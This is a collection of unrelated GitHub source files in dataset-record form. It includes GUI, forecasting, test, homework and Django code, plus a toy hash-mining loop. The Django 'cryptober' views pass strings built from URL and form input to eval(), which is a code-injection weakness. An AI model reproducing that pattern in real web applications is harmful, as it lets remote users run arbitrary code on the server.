add_unit_button_clicked(self):\n\t\tself.melted_telnet_controller.create_melted_unit()\n\t\tself.main_controller.get_units_controller().find_existing_units()\n\n\tdef unit_tree_view_cursor_changed(self, index):\n\t\tSmelted_Settings.current_unit = \"U\" + str(index)\n\t\tself.refresh_clips()\n\n\tdef playlist_tree_view_cursor_changed(self, index):\n\t\tclip = None\n\n\t\tclip_list = ModelManager.get_models(ModelManager.MODEL_CLIP)\n\t\tfor clip_candidate in clip_list:\n\t\t\tif str(index) == clip_candidate.index and Smelted_Settings.current_unit == clip_candidate.unit:\n\t\t\t\tclip = clip_candidate\n\t\t\t\tbreak\n\n\t\tif clip:\n\t\t\ttotal_seconds_in = math.floor(float(clip.clip_in) / float(clip.fps))\n\t\t\ttotal_seconds_out = math.floor(float(clip.clip_out) / float(clip.fps))\n\n\t\t\tlabel_text_in = self.convert_total_seconds_to_time(total_seconds_in)\n\t\t\tlabel_text_out = self.convert_total_seconds_to_time(total_seconds_out)\n\n\t\t\tGObject.idle_add(self.update_label_text, self.out_slider_label_view, label_text_out)\n\t\t\tGObject.idle_add(self.update_label_text, self.in_slider_label_view, label_text_in)\n\n\t\t\tGObject.idle_add(self.update_slider, self.out_slider_view, int(clip.calculated_length), int(clip.clip_out))\n\t\t\tGObject.idle_add(self.update_slider, self.in_slider_view, int(clip.calculated_length), int(clip.clip_in))\n\n\tdef in_slider_change_value_handler(self, value):\n\t\tclip = self.get_clip_by_playlist_cursor()\n\t\tif clip:\n\t\t\tif value > int(clip.length):\n\t\t\t\tvalue = clip.length\n\t\t\tclip.clip_in = str(value)\n\t\t\ttotal_seconds_in = math.floor(int(value) / float(clip.fps))\n\t\t\tlabel_text_in = self.convert_total_seconds_to_time(total_seconds_in)\n\t\t\tGObject.idle_add(self.update_label_text, self.in_slider_label_view, label_text_in)\n\n\tdef out_slider_change_value_handler(self, value):\n\t\tclip = self.get_clip_by_playlist_cursor()\n\t\tif clip:\n\t\t\tif value > int(clip.length):\n\t\t\t\tvalue = clip.length\n\t\t\tclip.clip_out = str(value)\n\t\t\ttotal_seconds_out = math.floor(int(value) / float(clip.fps))\n\t\t\tlabel_text_out = self.convert_total_seconds_to_time(total_seconds_out)\n\t\tGObject.idle_add(self.update_label_text, self.out_slider_label_view, label_text_out)\n\n\tdef get_clip_by_playlist_cursor(self):\n\t\tmodel, list_iter = self.playlist_tree_view.get_selection().get_selected()\n\t\tif list_iter is not None:\n\t\t\tindex = model.get_path(list_iter)[0]\n\n\t\t\tclip_list = ModelManager.get_models(ModelManager.MODEL_CLIP)\n\t\t\tfor clip_candidate in clip_list:\n\t\t\t\tif str(index) == clip_candidate.index and Smelted_Settings.current_unit == clip_candidate.unit:\n\t\t\t\t\treturn clip_candidate\n\t\t\t\t\tbreak\n\t\treturn None\n\n\tdef check_playlist_order_changed(self):\n\t\tif self.view.dragged_playlist():\n\t\t\tindex = 0\n\t\t\tfor item in self.playlist_list_store:\n\t\t\t\tif index != item[1]:\n\t\t\t\t\tself.melted_telnet_controller.change_clip_index(Smelted_Settings.current_unit, item[1], index)\n\t\t\t\t\tself.main_controller.get_units_controller().find_clips_on_unit(Smelted_Settings.current_unit)\n\t\t\t\t\tbreak\n\t\t\t\tindex += 1\n\n\tdef on_combo_changed(self, widget, path, text):\n\t\tself.unit_list_store[path][1] = text\n\t\tif text == self.end_event_list_items[0]:\n\t\t\tself.melted_telnet_controller.clip_end_event(Smelted_Settings.current_unit, \"stop\")\n\t\t\tself.main_controller.get_units_controller().get_unit_by_name(Smelted_Settings.current_unit).end_of_file = \"stop\"\n\t\telif text == self.end_event_list_items[1]:\n\t\t\tself.melted_telnet_controller.clip_end_event(Smelted_Settings.current_unit, \"loop\")\n\t\t\tself.main_controller.get_units_controller().get_unit_by_name(Smelted_Settings.current_unit).end_of_file = \"loop\"\n\t\telif text == self.end_event_list_items[2]:\n\t\t\tself.melted_telnet_controller.clip_end_event(Smelted_Settings.current_unit, \"continue\")\n\t\t\tself.main_controller.get_units_controller().get_unit_by_name(Smelted_Settings.current_unit).end_of_file = \"continue\"\n\t\telif text == self.end_event_list_items[3]:\n\t\t\tself.melted_telnet_controller.clip_end_event(Smelted_Settings.current_unit, \"pause\")\n\t\t\tself.main_controller.get_units_controller().get_unit_by_name(Smelted_Settings.current_unit).end_of_file = \"pause\"\n\n\tdef update_seek_progress(self, clip):\n\t\tfor item in self.playlist_list_store:\n\t\t\tif int(clip.index) == item[1]:\n\t\t\t\tGObject.idle_add(self.update_list_model_item, self.playlist_list_store, int(item[1]), \"#ADD8E6\", 2)\n\t\t\telse:\n\t\t\t\tGObject.idle_add(self.update_list_model_item, self.playlist_list_store, int(item[1]), \"#FFFFFF\", 2)\n\n\t\ttotal_seconds = math.floor(int(clip.progress) / float(clip.fps))\n\t\tlabel_text = self.convert_total_seconds_to_time(total_seconds)\n\n\t\tGObject.idle_add(self.update_label_text, self.progress_label, label_text)\n\t\tGObject.idle_add(self.update_slider, self.view.slider, int(clip.length), int(clip.progress))\n\n\tdef set_in(self):\n\t\tclip = self.get_clip_by_playlist_cursor()\n\t\tif clip:\n\t\t\tself.melted_telnet_controller.set_clip_in_point(Smelted_Settings.current_unit, clip.clip_in, clip.index)\n\n\tdef set_out(self):\n\t\tclip = self.get_clip_by_playlist_cursor()\n\t\tif clip:\n\t\t\tself.melted_telnet_controller.set_clip_out_point(Smelted_Settings.current_unit, clip.clip_out, clip.index)\n\n\tdef convert_total_seconds_to_time(self, total_seconds):\n\t\tminutes = int(math.floor(total_seconds / 60))\n\t\tseconds = int(total_seconds % 60)\n\n\t\tif seconds < 10:\n\t\t\tseconds = \"0\" + str(seconds)\n\n\t\treturn str(minutes) + \":\" + str(seconds)\n\n\tdef clear_list_model(self, store):\n\t\tstore.clear()\n\n\tdef update_list_model(self, store, data):\n\t\tstore.append(data)\n\n\tdef update_list_model_item(self, store, item_index, content, column):\n\t\tstore[item_index][column] = content\n\n\tdef update_label_text(self, label, text):\n\t\tlabel.set_text(text)\n\n\tdef update_slider(self, slider, length, value):\n\t\tslider.set_range(0, length)\n\t\tslider.get_adjustment().set_value(value)\n\n\t# could optimise this, clears list on every new clip added\n\tdef refresh_clips(self, clip=None):\n\t\tGObject.idle_add(self.clear_list_model, self.playlist_list_store)\n\t\tclips = ModelManager.get_models(ModelManager.MODEL_CLIP)\n\t\tclip_index = 0\n\t\tfor clip in clips:\n\t\t\tif clip.unit == Smelted_Settings.current_unit:\n\t\t\t\tGObject.idle_add(self.update_list_model, self.playlist_list_store, [os.path.basename(clip.path), int(clip.index), \"#FFFFFF\"])\n\t\t\t\tclip_index += 1\n\n\tdef update_eof_combo(self, index, type, column):\n\t\tGObject.idle_add(self.update_list_model_item, self.unit_list_store, index, type, column)\n\n\tdef remove_units(self):\n\t\tGObject.idle_add(self.clear_list_model, self.unit_list_store)\n\n\tdef add_unit(self, unit):\n\t\tGObject.idle_add(self.update_list_model, self.unit_list_store, [\"Unit \" + str(unit.unit_name)[1], \"Pause\"])","repo_name":"gamernetwork/smelted","sub_path":"controller/MainInterfaceController.py","file_name":"MainInterfaceController.py","file_ext":"py","file_size_in_byte":11386,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"12482498771","text":"from glotnet.config import Config\nimport os\n\ndef test_config_to_json():\n\n    config = Config()\n    file_dir = '/tmp/json_dump/config.json'\n    os.makedirs(file_dir, exist_ok=True)\n    config.to_json(filepath=os.path.join(file_dir, 'config.json'))\n\n\ndef test_config_from_json():\n\n    config = Config()\n    file_dir = '/tmp/json_dump/config.json'\n    filepath = os.path.join(file_dir, 'config.json')\n    os.makedirs(file_dir, exist_ok=True)\n    config.to_json(filepath=filepath)\n\n    # filepath = 'config/config.json'\n    config = Config.from_json(filepath=filepath)\n\n\n","repo_name":"ljuvela/GlotNet","sub_path":"test/test_trainer/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"19098072435","text":"from django.shortcuts import render,redirect\nfrom .models import *\n\ndef instructions(request):\n    if request.method=='GET':\n        return render(request,'cryptober/instructions.html')\n    else:\n        name = request.POST.get('name').strip()\n        email = request.POST.get('email')\n        Response.objects.create(name=name,email=email)\n        return redirect(name+'/questions/1')\n\ndef questions(request,team,id):\n    try:\n        response = Response.objects.get(name=team)\n        # print(\"GOT IT\",len(response.input1))\n        prev_inputs = eval('response.input'+id)\n        prev_inputs = eval(prev_inputs)\n        # print(type(prev_inputs))\n        if request.method=='GET':\n            return render(request,'cryptober/question'+id+'.html',{'inputs':prev_inputs,'team':team})\n        else:\n            if len(prev_inputs)<5:\n                query = request.POST.get('query',None).strip().split()\n                # print(type())\n                query,output = eval('func'+id+'(query)')\n                if output==-6942069:\n                    return render(request,'cryptober/error.html')\n                query.append(output)\n                prev_inputs.append(query)\n                if id=='1':\n                    response.input1 = prev_inputs\n                elif id=='2':\n                    response.input2 = prev_inputs\n                elif id=='3':\n                    response.input3 = prev_inputs\n                elif id=='4':\n                    response.input4 = prev_inputs\n                elif id=='5':\n                    response.input5 = prev_inputs\n                response.save()\n            return render(request,'cryptober/question'+str(id)+'.html',{'inputs':prev_inputs,'team':team})\n    except:\n        return render(request,'cryptober/error.html')\n\n#Logic: This program prints the difference of cube\n#of number having maximum absolute value and minimum absolute value.\ndef func1(a):\n    if len(a)!=5:\n        return -6942069\n    minv=int(a[0])\n    maxv=int(a[0])\n    for i in a:\n        if i.isdigit():\n            i=int(i)\n            minv=min(minv,abs(i))\n            maxv=max(maxv,abs(i))\n        else:\n            return -6942069\n    return a,(maxv*maxv*maxv-minv*minv*minv)\n\n#Logic: Print no. of characters that have count more than 1\ndef func2(query):\n    if len(query)!=1:\n        return -6942069\n    query = query[:1]\n    count = [0] * 256\n    for i in query[0]:\n        count[ord(i)] += 1\n    k = 0\n    cnt=0\n    for i in count:\n        if int(i) > 1:\n            cnt=cnt+1\n    return query,cnt\n\n# Logic:A Dynamic Programming based Python program for edit\n# distance problem :\n# minimum number of edits (operations) required to convert ‘str1’ into ‘str2’.\n#allowed operations:\n#Insert\n#Remove\n#Replace\ndef func3(query):\n    if len(query)<2:\n        return -6942069\n    query = query[:2]\n    str1 = query[0]\n    str2 = query[1]\n    m = len(str1)\n    n = len(str2)\n    dp = [[0 for x in range(n+1)] for x in range(m+1)]\n    for i in range(m+1):\n        for j in range(n+1):\n            if i == 0:\n                dp[i][j] = j\n            elif j == 0:\n                dp[i][j] = i\n            elif str1[i-1] == str2[j-1]:\n                dp[i][j] = dp[i-1][j-1]\n            else:\n                dp[i][j] = 1 + min(dp[i][j-1],\n\t\t\t\t\t\t\t\tdp[i-1][j],\n\t\t\t\t\t\t\t\tdp[i-1][j-1])\n    return query,dp[m][n]\n\n# Logic:Dynamic programming Python implementation of LIS problem\n# lis returns length of the longest increasing subsequence\n# in arr of size n\ndef func4(arr):\n    if len(arr)!=7:\n        return -6942069\n    n = len(arr)\n    for i in range(n):\n        arr[i] = int(arr[i])\n    lis = [1]*n\n    for i in range (1 , n):\n        for j in range(0 , i):\n            if arr[i] > arr[j] and lis[i]< lis[j] + 1 :\n                lis[i] = lis[j]+1\n    maximum = 0\n    for i in range(n):\n\t       maximum = max(maximum , lis[i])\n    return arr,maximum\n\n# LOGIC:Python program to print diffrence between sum of even array indices and\n#sum of odd array indices\ndef func5(a):\n    if len(a)!=5:\n        return -6942069\n    for i in range(len(a)):\n        a[i] = int(a[i])\n    sumodd=0\n    sumeven=0\n    for i in range(0,len(a)):\n        if(i%2==0):\n            sumeven+=a[i]\n        else:\n            sumodd+=a[i]\n    return a,sumeven-sumodd\n","repo_name":"m0bi5/ISTE-NITK_Website","sub_path":"cryptober/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5448105816","text":"# Create a list of integer elements\ninteger_list = [1, 2, 3, 4, 5]\n\n# Use a loop to change the type of elements to float\nfloat_list = [float(num) for num in integer_list]\n\n# Print the resulting float list\nprint(float_list)\n\n# Prompt the user to enter a number 'n'\nn = int(input(\"Enter a number (n) to print Fibonacci numbers up to n: \"))\n\n# Initialize the first two Fibonacci numbers\na, b = 0, 1\n\n# Print the first Fibonacci number (0)\nprint(a)\n\n# Print Fibonacci numbers up to 'n'\nwhile b <= n:\n    print(b)\n    a, b = b, a + b\n\n\n# Prompt the user to enter a number\nj = int(input(\"Enter a number to calculate its factorial: \"))\n\n# Initialize the result to 1\nresult = 1\n\n# Calculate the factorial of the entered number\nfor i in range(1, j + 1):\n    result *= i\n\n# Print the factorial result\nprint(f\"{j}! = {result}\")\n","repo_name":"kolyasalubov/UA-12-10-23.PythonFundamentals","sub_path":"Muzyka/HW5/HW5.py","file_name":"HW5.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"74991456371","text":"# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n\nimport os\nimport importlib\nimport sys\nimport shutil\n\nfrom quodlibet.util.modulescanner import ModuleScanner\nfrom quodlibet.util.importhelper import get_importables, load_dir_modules\n\nfrom tests import TestCase, mkdtemp\n\n\nclass TModuleScanner(TestCase):\n\n    def setUp(self):\n        self.d = mkdtemp(\"ql-mod\")\n        spec = importlib.machinery.ModuleSpec(\"qlfake\", None)\n        sys.modules[\"qlfake\"] = importlib.util.module_from_spec(spec)\n\n    def tearDown(self):\n        del sys.modules[\"qlfake\"]\n        shutil.rmtree(self.d)\n\n    def _create_mod(self, name, package=None):\n        if package is not None:\n            base = os.path.join(self.d, package)\n        else:\n            base = self.d\n        return open(os.path.join(base, name), \"wb\")\n\n    def _create_pkg(self, name):\n        base = os.path.join(self.d, name)\n        os.mkdir(base)\n        return open(os.path.join(base, \"__init__.py\"), \"wb\")\n\n    def test_importables(self):\n        self.failUnlessEqual(list(get_importables(self.d)), [])\n        h = self._create_mod(\"foo.py\")\n        h.close()\n        self.failUnlessEqual(list(get_importables(self.d))[0],\n                             (\"foo\", h.name, [h.name]))\n\n    def test_importables_ignore_init(self):\n        h = self._create_mod(\"foo7.py\")\n        h.close()\n        self._create_mod(\"__init__.py\").close()\n        self.failUnlessEqual(list(get_importables(self.d))[0],\n                             (\"foo7\", h.name, [h.name]))\n\n    def test_importables_package(self):\n        h = self._create_pkg(\"foobar\")\n        self.failUnlessEqual(list(get_importables(self.d))[0],\n                             (\"foobar\", os.path.dirname(h.name), [h.name]))\n        h.close()\n\n    def test_importables_package_deps(self):\n        h = self._create_pkg(\"foobar3\")\n        h2 = self._create_mod(\"sub.py\", \"foobar3\")\n        name, path, deps = list(get_importables(self.d))[0]\n        self.failUnlessEqual(name, \"foobar3\")\n        self.failUnlessEqual(path, os.path.dirname(h.name))\n        self.failUnlessEqual(set(deps), {h.name, h2.name})\n        h2.close()\n        h.close()\n\n    def test_load_dir_modules(self):\n        h = self._create_mod(\"x.py\")\n        h.write(b\"test=42\\n\")\n        h.close()\n        mods = load_dir_modules(self.d, \"qlfake\")\n        self.failUnlessEqual(len(mods), 1)\n        self.failUnlessEqual(mods[0].test, 42)\n\n    def test_load_dir_modules_packages(self):\n        h = self._create_pkg(\"somepkg2\")\n        h2 = self._create_mod(\"sub.py\", \"somepkg2\")\n        h2.write(b\"test=456\\n\")\n        h2.close()\n        h.write(b\"from .sub import *\\nmain=654\\n\")\n        h.close()\n        mods = load_dir_modules(self.d, \"qlfake\")\n        self.failUnlessEqual(len(mods), 1)\n        self.failUnlessEqual(mods[0].test, 456)\n\n    def test_scanner_add(self):\n        self._create_mod(\"q1.py\").close()\n        self._create_mod(\"q2.py\").close()\n        s = ModuleScanner([self.d])\n        self.failIf(s.modules)\n        removed, added = s.rescan()\n        self.failIf(removed)\n        self.failUnlessEqual(set(added), {\"q1\", \"q2\"})\n        self.failUnlessEqual(len(s.modules), 2)\n        self.failUnlessEqual(len(s.failures), 0)\n\n    def test_unimportable_package(self):\n        self._create_pkg(\"_foobar\").close()\n        s = ModuleScanner([self.d])\n        self.failIf(s.modules)\n        removed, added = s.rescan()\n        self.failIf(added)\n        self.failIf(removed)\n\n    def test_scanner_remove(self):\n        h = self._create_mod(\"q3.py\")\n        h.close()\n        s = ModuleScanner([self.d])\n        s.rescan()\n        os.remove(h.name)\n        try:\n            os.remove(h.name + \"c\")\n        except OSError:\n            pass\n        removed, added = s.rescan()\n        self.failIf(added)\n        self.failUnlessEqual(removed, [\"q3\"])\n        self.failUnlessEqual(len(s.modules), 0)\n        self.failUnlessEqual(len(s.failures), 0)\n\n    def test_scanner_error(self):\n        h = self._create_mod(\"q4.py\")\n        h.write(b\"1syntaxerror\\n\")\n        h.close()\n        s = ModuleScanner([self.d])\n        removed, added = s.rescan()\n        self.failIf(added)\n        self.failIf(removed)\n        self.failUnlessEqual(len(s.failures), 1)\n        self.failUnless(\"q4\" in s.failures)\n\n    def test_scanner_add_package(self):\n        h = self._create_pkg(\"somepkg\")\n        h2 = self._create_mod(\"sub.py\", \"somepkg\")\n        h2.write(b\"test=123\\n\")\n        h2.close()\n        h.write(b\"from .sub import *\\nmain=321\\n\")\n        h.close()\n        s = ModuleScanner([self.d])\n        removed, added = s.rescan()\n        self.failUnlessEqual(added, [\"somepkg\"])\n        self.failUnlessEqual(s.modules[\"somepkg\"].module.main, 321)\n        self.failUnlessEqual(s.modules[\"somepkg\"].module.test, 123)\n","repo_name":"quodlibet/quodlibet","sub_path":"tests/test_util_modulescanner.py","file_name":"test_util_modulescanner.py","file_ext":"py","file_size_in_byte":4976,"program_lang":"python","lang":"en","doc_type":"code","stars":1306,"dataset":"github-code","pt":"21"}
+{"seq_id":"19158347179","text":"\"\"\"ArmaPredictor class implementing Autoregressive Moving Average model.\"\"\"\nfrom src.models import Predictor\nfrom src.utils.measures import measure_time_metric\nfrom src.utils.running_functions import running_mean_fast\nfrom statsmodels.tsa.seasonal import seasonal_decompose\nfrom statsmodels.tsa.arima_model import ARMA\nfrom prometheus_client import Gauge\nimport src.utils.constants as constants\nimport pandas as pd\nimport numpy as np\nimport logging\nimport math\n\noutput_prometheus = Gauge('ArmaPredictor_output', 'appIDs',\n                          ['app_id', 'metric_name'])\n\nlogger = logging.getLogger('root')\n\n\nclass ArmaPredictor(Predictor):\n    \"\"\"\n    An ArmaPredictor object is an instance of ARMA forecasting model.\n\n    The component is a predictor that takes dataframe on the input,\n    and once a certain history threshold is filled it starts to predict\n    future values. The threshold is set in model_configuration dictionary\n    with 'history_size' integer value.\n    \"\"\"\n\n    @staticmethod\n    def add_whitenoise(history):\n        logger.debug('Adding whitenoise to the signal.')\n        whitenoise = np.random.normal(\n            loc=0, scale=0.1, size=(history.shape[0], 1))\n        abs_of_whitenoise = np.abs(whitenoise)\n        history += abs_of_whitenoise\n        logger.debug('Whitenoise added to the signal.')\n        return history\n\n    def __init__(self,\n                 model_configuration,\n                 app_id=None,\n                 predict_interval=7,\n                 metric=None):\n        \"\"\"\n        Construct a new Predictor instance.\n\n        Arguments:\n        - model_configuration: dictionary containing model_configuration\n            where key 'history_size' defines model capacity and 'arma_order'\n            defines dictionary with appid to parameter mapping\n        - app_id: integer, self-explainatory\n        - predict_interval: integer, number of days taken by the model while\n            training\n\n        \"\"\"\n        self._app_id = app_id\n        self._predict_interval = predict_interval\n        self._interval_index = predict_interval\n        self._order = model_configuration['arma_order'].get(app_id, (1, 0))\n        self._window_size = model_configuration['seasonality_period']\n        logger.debug(\n            repr(self) + ' Creating ArmaPredictor object {}'.format(app_id))\n        Predictor.__init__(self, model_configuration, app_id, metric)\n        logger.debug(\n            repr(self) + ' Setting initial configuration of the model')\n        self._is_trained = False\n        self.build_model = ARMA\n        self.not_empty = lambda x: np.sum(x[-5:]) != 0\n        logger.debug(repr(self) + ' ArmaPredictor {} created'.format(app_id))\n\n    @measure_time_metric\n    def _run(self, incoming_df):\n        \"\"\"\n        Run is called each time a dataframe is pushed into the component.\n\n        Arguments:\n        - incoming_df: pandas dataframe containing 'time' and 'value' columns\n\n        Returns:\n        - result: a tuple containing:\n                  prediction - a forecast  if predicted otherwise None\n                  rate_of_change - float, predicted change in slope\n                                  given as percentage\n                  current_time - time extracted from last date_package\n\n        \"\"\"\n        current_time = self._preprocess(incoming_df)\n        self._update_model(incoming_df)\n        if self.is_trained:\n            logger.debug(repr(self) + 'Model is trained, starting prediction.')\n            logger.debug(repr(self) + 'current_time: {}'.format(current_time))\n            prediction = self._predict()\n            logger.debug(repr(self) + 'prediction: {}'.format(prediction))\n            rate_of_change = self._postprocess(prediction, current_time)\n            logger.debug(\n                repr(self) + 'rate_of_change: {}'.format(rate_of_change))\n            result = (prediction, rate_of_change, current_time)\n        else:\n            logger.debug(\n                repr(self) + 'Model is not trained, sending mock result.')\n            result = (None, None, current_time)\n            logger.debug(repr(self) + str(result))\n        return result\n\n    def _update_model(self, incoming_df):\n        \"\"\"\n        Update history and fit ARMA to the series if possible.\n\n        Arguments:\n        - incoming_df: pandas dataframe containing 'time' and 'value' columns\n        \"\"\"\n        logger.debug(\n            repr(self) + 'Updating history with {}'.format(incoming_df))\n        self.history.append(incoming_df)\n        if self.filled(self.history):\n            logger.debug(repr(self) + 'Model history is full, proceeding.')\n            self.preprocessed_history = self._preprocess_model_history()\n            if self.not_empty(self.preprocessed_history):\n                logger.debug(repr(self) + 'Data is not empty, proceeding.')\n                self.model = self._prepare_model()\n                self._is_trained = True\n                logger.debug(repr(self) + 'Set is_trained flag to True.')\n\n    def _preprocess_model_history(self):\n        \"\"\"\n        Preprocess model history in a way it is feedable to ARMA model.\n\n        Returns:\n        - preprocessed_history: np.array with time and value for each datapoint\n        \"\"\"\n        logger.debug(repr(self) + 'Start preprocessing.')\n        history_df = pd.concat(self.history)\n        logger.debug(repr(self) + 'History deque has been concatenated.')\n        history_df = history_df[['time', 'value']]\n        history_df.set_index('time', inplace=True)\n        preprocessed_history = np.asarray(history_df).astype(np.float)\n        logger.debug(repr(self) + 'History converted to numpy array.')\n        self._raw_history = self.add_whitenoise(preprocessed_history)\n        decomposed_signal = seasonal_decompose(\n            list(preprocessed_history), freq=self._window_size)\n        half_window = math.floor(self._window_size / 2)\n        assert half_window == 3, half_window\n        assert isinstance(half_window, int), type(half_window)\n        preprocessed_signal = decomposed_signal.trend[half_window:-half_window]\n        preprocessed_signal = running_mean_fast(preprocessed_signal,\n                                                self._window_size)\n        logger.debug(\n            repr(self) +\n            'History decomposed to {}'.format(preprocessed_signal))\n        logger.debug(\n            repr(self) + 'Preprocessed signal shape {} (should be 150!)'.\n            format(preprocessed_signal.shape))\n        logger.debug(\n            repr(self) +\n            'Returning preprocessed signal: {}'.format(preprocessed_signal))\n        return preprocessed_signal\n\n    def _prepare_model(self):\n        \"\"\"\n        Prepare model for forecast.\n\n        Arguments:\n        - preprocessed_history: np.array with time and value for each datapoint\n\n        Returns:\n        - model: ARMA model fit to provided history\n        \"\"\"\n        try:\n            logger.debug(\n                repr(self) + 'Fitting preprocessed_history to the model.')\n            model = self.build_model(self.preprocessed_history, self.order)\n            model = model.fit(disp=0)\n            logger.debug(repr(self) + 'Model fit correctly.')\n        except Exception:\n            logger.warning(\n                repr(self) +\n                'The model with whitenoise did not fit, use (1,0)')\n            model = self.build_model(self._raw_history, (1, 0))\n            model = model.fit(disp=0)\n            logger.debug(repr(self) + 'Model fit correctly.')\n        return model\n\n    def _predict(self):\n        \"\"\"\n        Forecast next X days, X is defined by self.predict_interval field.\n\n        Returns:\n        - forecast: pandas dataframe containing 'time' and 'value' columns\n        \"\"\"\n        logger.debug(repr(self) + 'Starting prediction.')\n        forecast, _, __ = self.model.forecast(steps=self.predict_interval)\n        logger.debug(repr(self) + 'Success, prediction {}'.format(forecast))\n        return forecast\n\n    def _postprocess(self, prediction, current_time):\n        \"\"\"\n        Send relevant log to prometheus.\n\n        Arguments:\n        - prediction: forecast, if predicted otherwise None\n\n        Returns:\n        - rate: float, predicted change in slope given as percentage\n        \"\"\"\n        logger.debug(repr(self) + 'Start post-processing of the output')\n        last_forecasted_value = np.mean(prediction)\n        logger.debug(\n            repr(self) +\n            'Last forecasted value: {}'.format(last_forecasted_value))\n        last_known_value = np.mean(\n            self.preprocessed_history[self.interval_index:])\n        logger.debug(\n            repr(self) + 'Last known value: {}'.format(last_known_value))\n        rate = self._calculate_change_rate(last_known_value,\n                                           last_forecasted_value)\n        logger.debug(repr(self) + 'Calculated rate: {}'.format(rate))\n        rate = abs(rate)\n        logger.debug(repr(self) + 'Absolute value of rate: {}'.format(rate))\n        output_prometheus.labels(self.app_id, self.metric).set(rate)\n        logger.debug(repr(self) + 'Rate sent to prometheus {}'.format(rate))\n        output = {\n            'time_model': current_time,\n            'rate_of_change': rate,\n            'app_id_model': self.app_id\n        }\n        logger.debug(\n            repr(self) + 'Output of the ArmaPredictor: {}'.format(output))\n        return rate\n\n    def _calculate_change_rate(self, known_value, forecasted_value):\n        \"\"\"\n        Calculate rate of change for known and forecasted signal.\n\n        Arguments:\n        - known_value: float, last value for history timeseries\n        - forecasted_value: float, last value for forecasted signal\n\n        Returns:\n        result: float, rate of change given as percentage (between 0. - 100.)\n        \"\"\"\n        logger.debug(\n            repr(self) + 'If last known value is 0, substitute  it to 1')\n        known_value = 1 if known_value == 0 else known_value\n        logger.debug(\n            str(self) + 'Forecasted value {}'.format(forecasted_value))\n        logger.debug(str(self) + 'Last known value {}'.format(known_value))\n        difference = forecasted_value - known_value\n        result = float((difference) * constants.CONVERT_PERCENT / known_value)\n        logger.debug(\n            repr(self) + 'Percentage rate of change {}'.format(result))\n        return result\n\n    def _preprocess(self, incoming_df):\n        \"\"\"Extract time from the input signal.\"\"\"\n        logger.debug(repr(self) + 'Starting _run method.')\n        current_time = incoming_df.reset_index(drop=True).time[0]\n        logger.debug(repr(self) + 'current_time: {}'.format(current_time))\n        return current_time\n\n    @property\n    def is_trained(self):\n        \"\"\"Boolean flag showing if an object was trained.\"\"\"\n        return self._is_trained\n\n    @property\n    def predict_interval(self):\n        \"\"\"The interval we make decision upon.\"\"\"\n        return self._predict_interval\n\n    @property\n    def interval_index(self):\n        return self._predict_interval\n\n    @property\n    def order(self):\n        return self._order\n\n    @property\n    def window_size(self):\n        return self._window_size\n\n    def __repr__(self):\n        \"\"\"Use repr(self) for DEBUG, ERROR, CRITICAL logging levels.\"\"\"\n        return '{} - Order {} - Predict_interval {}: '.format(  #noqa\n            self.app_id, self.order, self.predict_interval)\n\n    def __str__(self):\n        \"\"\"Use str(self) for INFO, WARNING logging levels.\"\"\"\n        return '{}: '.format(self.app_id)\n","repo_name":"navid-data-analytics/Navid-ai-project-team-work","sub_path":"src/models/ArmaPredictor.py","file_name":"ArmaPredictor.py","file_ext":"py","file_size_in_byte":11539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25908746240","text":"from hashlib import new, sha256\nimport time\n\nMAX_NONCE = 100000000\n\n\ndef SHA256(text):\n    return sha256(text.encode(\"ascii\")).hexdigest()\n\n\ndef mine(block_number, transactions, previous_hash, prefix_zeros):\n    prefix_str = \"0\" * prefix_zeros\n\n    for nonce in range(MAX_NONCE):\n        nonce += 1\n        text = str(block_number) + transactions + prev_hash + str(nonce)\n        new_hash = SHA256(text)\n        if new_hash.startswith(prefix_str):\n            print(f\"\\nYay!! Successfully mined bitcoins with nonce value:{nonce} \")\n            return new_hash\n\n    raise BaseException(f\"Couldn't findcorrect Hash after trying {MAX_NONCE} times\")\n\n\nif __name__ == \"__main__\":\n    transactions = \"\"\"\n    Rohan->Mohan->20,\n    Chandan->Chaman->45\n    \"\"\"\n    prev_hash = \"0000000xa036944e29568a66bd0cff17edbe0381544208feacf9a66b65as68wqe4551vvfb54gf1set70der58feacf965as645asd5et\"\n\n    difficulty = 10\n\n    start = time.time()  ##?Gives Current Time\n    print(\"\\nMining Started\")\n    new_hash = mine(5, transactions, prev_hash, difficulty)\n    total_time = str(time.time() - start)\n    print(f\"\\nMining Ends. Time Taken = {total_time} seconds\")\n\n    print(\"\\n\")\n    print(new_hash)\n    print(\"\\n\")\n","repo_name":"spiderxm/python-programs","sub_path":"abstrxtinfinity/bitcoin_mining.py","file_name":"bitcoin_mining.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"21305809060","text":"from django.conf.urls import url\n\nfrom . import views\n\n\nurlpatterns = [\n    url(r'^$', views.index, name='index'),\n    url(r'^(?P<catagory>.+?)/catagory$', views.catagory, name='catagory'),\n    url(r'^(?P<sub_catagory>.+?)/sub_catagory$', views.sub_catagory, name='sub_catagory'),\n    url(r'^(?P<sub_sub_catagory>.+?)/sub_sub_catagory$', views.sub_sub_catagory, name='sub_sub_catagory'),\n    url(r'^(?P<product_id>[0-9]+)/single$', views.single, name='single'),\n    url(r'^(?P<count>[0-9]+)/single2$', views.single2, name='single2'),\n    url(r'^(?P<filter_no>[0-9]+)/blog1234$', views.blog1234, name='blog1234'),\n    url(r'^category1_c26/$', views.category1_c26, name='category1_c26'),\n    url(r'^sub_category1_c27/$', views.sub_category1_c27, name='sub_category1_c27'),\n    url(r'^sub_category2_c28/$', views.sub_category2_c28, name='sub_category2_c28'),\n    url(r'^sub_category1_c27905b/$', views.sub_category1_c27905b, name='sub_category1_c27905b'),\n    url(r'^order8/$', views.order815d, name='order815d'),\n    url(r'^order16/$', views.ordera5cc, name='ordera5cc'),\n    